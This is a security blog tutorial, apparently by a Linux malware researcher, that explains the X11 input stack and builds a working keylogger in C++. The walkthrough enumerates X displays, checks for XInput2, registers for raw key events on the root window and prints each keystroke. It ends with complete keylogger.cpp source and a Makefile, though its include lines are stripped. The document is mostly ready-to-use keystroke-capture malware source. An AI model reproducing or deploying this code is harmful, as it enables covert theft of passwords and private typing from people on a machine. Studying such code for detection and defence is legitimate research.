Hacker's Corner: Complete Guide to Keylogging in Linux - Part 2
Linux GUI Stack
+---------------+ +--------------+
| Display:2 |<--=---+ +----=--->| WxWidget |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:1 |<--=---+ +----=--->| Qt |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:0 |<--=---+ +----=--->| GTK+ |-----+
+---------------+ | | +--------------+ |
| | |
| | |
update +-------------+--+ ---=---> +-----+--------+ send data |
+------=--| X Server | | xlib |<-------------=------+
| screen +----------------+ <--=---- +--------------+ ask to repaint
| ^
| | events
| +---------+----------------+
+-->| Linux Kernel |
+--------------------------+
X Server Terminology
Keylogging in X Server
Enumerating displays
std::vector<std::string> EnumerateDisplay()
{
std::vector<std::string> displays;
for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
{
std::string path = p.path().filename().string();
std::string display_name = ":";
if (path[0] != 'X') continue;
path.erase(0, 1);
display_name.append(path);
Display *disp = XOpenDisplay(display_name.c_str());
if (disp != NULL)
{
int count = XScreenCount(disp);
printf("Display %s has %d screens\n",
display_name.c_str(), count);
int i;
for (i=0; i<count; i++)
printf(" %d: %dx%d\n",
i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));
XCloseDisplay(disp);
displays.push_back(display_name);
}
}
return displays;
}
Display :0 has 1 screens
0: 1920x1080
Detecting XInputExtension
// Set up X
Display * disp = XOpenDisplay(hostname);
if (NULL == disp)
{
std::cerr << "Cannot open X display: " << hostname << std::endl;
exit(1);
}
// Test for XInput 2 extension
int xiOpcode, queryEvent, queryError;
if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError))
{
std::cerr << "X Input extension not available" << std::endl;
exit(2);
}
// Request XInput 2.0, guarding against changes in future versions
int major = 2, minor = 0;
int queryResult = XIQueryVersion(disp, &major, &minor);
if (queryResult == BadRequest)
{
std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
exit(3);
}
else if (queryResult != Success)
{
std::cerr << "Internal error" << std::endl;
exit(4);
}
Registering for events
typedef struct {
int deviceid;
int mask_len;
unsigned char* mask;
} XIEventMask;
Window root = DefaultRootWindow(disp);
XIEventMask m;
m.deviceid = XIAllMasterDevices;
m.mask_len = XIMaskLen(XI_LASTEVENT);
m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
XISetMask(m.mask, XI_RawKeyPress);
XISetMask(m.mask, XI_RawKeyRelease);
XISelectEvents(disp, root, &m, 1);
XSync(disp, false);
free(m.mask);
Reading Events
typedef struct {
int type;
unsigned long serial;
Bool send_event;
Display *display;
int extension;
int evtype;
unsigned int cookie;
void *data;
} XGenericEventCookie;
while (true)
{
XEvent event;
XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
XNextEvent(disp, &event);
if (XGetEventData(disp, cookie) &&
cookie->type == GenericEvent &&
cookie->extension == xiOpcode)
{
switch (cookie->evtype)
{
case XI_RawKeyRelease:
case XI_RawKeyPress:
{
XIRawEvent *ev = (XIRawEvent*)cookie->data;
// Ask X what it calls that key
KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
if (NoSymbol == s) continue;
char *str = XKeysymToString(s);
if (NULL == str) continue;
std::cout << (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
break;
}
}
}
}
Complete Code
keylogger.cpp
#include
#include
#include
#include
#include
#include
#include
#include
int printUsage(std::string application_name)
{
std::cout << "USAGE: " << application_name << " [-display ] [-enumerate] [-help]" << std::endl;
std::cout << "display target X display (default :0)" << std::endl;
std::cout << "enumerate enumerate all X11 displays" << std::endl;
std::cout << "help print this information and exit" << std::endl;
exit(0);
}
std::vector EnumerateDisplay()
{
std::vector displays;
for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
{
std::string path = p.path().filename().string();
std::string display_name = ":";
if (path[0] != 'X') continue;
path.erase(0, 1);
display_name.append(path);
Display *disp = XOpenDisplay(display_name.c_str());
if (disp != NULL)
{
int count = XScreenCount(disp);
printf("Display %s has %d screens\n",
display_name.c_str(), count);
int i;
for (i=0; i<count; i++)
printf(" %d: %dx%d\n",
i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));
XCloseDisplay(disp);
displays.push_back(display_name);
}
}
return displays;
}
int main(int argc, char * argv[])
{
const char * hostname = ":0";
// Get arguments
for (int i = 1; i < argc; i++)
{
if (!strcmp(argv[i], "-help"))
printUsage(argv[0]);
else if (!strcmp(argv[i], "-display"))
hostname = argv[++i];
else if (!strcmp(argv[i], "-enumerate"))
{
EnumerateDisplay();
return 0;
}
else
{
std::cerr << "Unknown argument: " << argv[i] << std::endl;
printUsage(argv[0]);
}
}
// Set up X
Display * disp = XOpenDisplay(hostname);
if (NULL == disp)
{
std::cerr << "Cannot open X display: " << hostname << std::endl;
exit(1);
}
// Test for XInput 2 extension
int xiOpcode, queryEvent, queryError;
if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError))
{
std::cerr << "X Input extension not available" << std::endl;
exit(2);
}
{ // Request XInput 2.0, guarding against changes in future versions
int major = 2, minor = 0;
int queryResult = XIQueryVersion(disp, &major, &minor);
if (queryResult == BadRequest)
{
std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
exit(3);
}
else if (queryResult != Success)
{
std::cerr << "Internal error" << std::endl;
exit(4);
}
}
// Register events
Window root = DefaultRootWindow(disp);
XIEventMask m;
m.deviceid = XIAllMasterDevices;
m.mask_len = XIMaskLen(XI_LASTEVENT);
m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
XISetMask(m.mask, XI_RawKeyPress);
XISetMask(m.mask, XI_RawKeyRelease);
XISelectEvents(disp, root, &m, 1);
XSync(disp, false);
free(m.mask);
while (true)
{
XEvent event;
XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
XNextEvent(disp, &event);
if (XGetEventData(disp, cookie) &&
cookie->type == GenericEvent &&
cookie->extension == xiOpcode)
{
switch (cookie->evtype)
{
case XI_RawKeyRelease:
case XI_RawKeyPress:
{
XIRawEvent *ev = (XIRawEvent*)cookie->data;
// Ask X what it calls that key
KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
if (NoSymbol == s) continue;
char *str = XKeysymToString(s);
if (NULL == str) continue;
std::cout << (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
break;
}
}
}
}
}
Makefile
keylogger: keylogger.cpp
$(CXX) --std=c++17 -pedantic -Wall -lX11 -lXi -o keylogger keylogger.cpp -O0 -ggdb
clean:
rm --force keylogger
About the Author
Adhokshaj Mishra works as a security researcher (malware - Linux) at Uptycs. His interest lies in offensive and defensive side of Linux malware research. He has been working on attacks related to containers, kubernetes; and various techniques to write better malware targeting Linux platform. In his free time, he loves to dabble into applied cryptography, and present his work in various security meetups and conferences.